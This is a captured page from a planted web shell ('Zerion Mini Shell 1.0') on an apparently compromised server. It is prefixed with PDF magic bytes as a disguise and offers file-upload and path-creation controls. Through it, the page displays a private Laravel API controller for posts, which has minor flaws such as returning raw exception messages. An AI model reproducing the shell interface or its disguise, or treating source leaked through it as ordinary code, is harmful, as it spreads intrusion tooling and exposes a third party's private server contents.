%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Http/Controllers/Api/v1/PostsController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Posts\CreatePostRequest;
use App\Models\App\AppField;
use App\Models\Post;
use App\Models\User;
use App\Transformers\FieldTransformer;
use App\Transformers\PostTransformer;
use Illuminate\Http\Request;

class PostsController extends ApiController
{
    /**
     * @var User.
     */
    protected $user;
    /**
     * @var FieldTransformer
     */
    private $transformer;

    /**
     * PostsController constructor.
     * @param PostTransformer $transformer
     */
    public function __construct(PostTransformer $transformer)
    {
        $this->transformer = $transformer;
        $this->user = auth()
            ->guard('api')
            ->user();
    }

    public function index(Request $request)
    {
        $categoriesId = $this->user->categories()
                                   ->pluck('category_id');
        $posts = Post::query()->whereIn('category_id', $categoriesId);

        $posts = $posts->orderBy('created_at', 'DESC');
        $posts = $posts->paginate($request->get('perPage'));
        return $this->withPaginated($posts, $this->transformer);
    }

    public function show(AppField $field)
    {
        return $this->item($field, $this->transformer);
    }

    public function store(CreatePostRequest $request)
    {
        try {
            $data = $request->only([
                'title',
                'type',
                'expires_at',
                'fieldId',
                'categoryId',
            ]);
            $post = Post::createItem($data);
            return $this->item($post, $this->transformer);
        } catch (\Exception $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

}

Zerion Mini Shell 1.0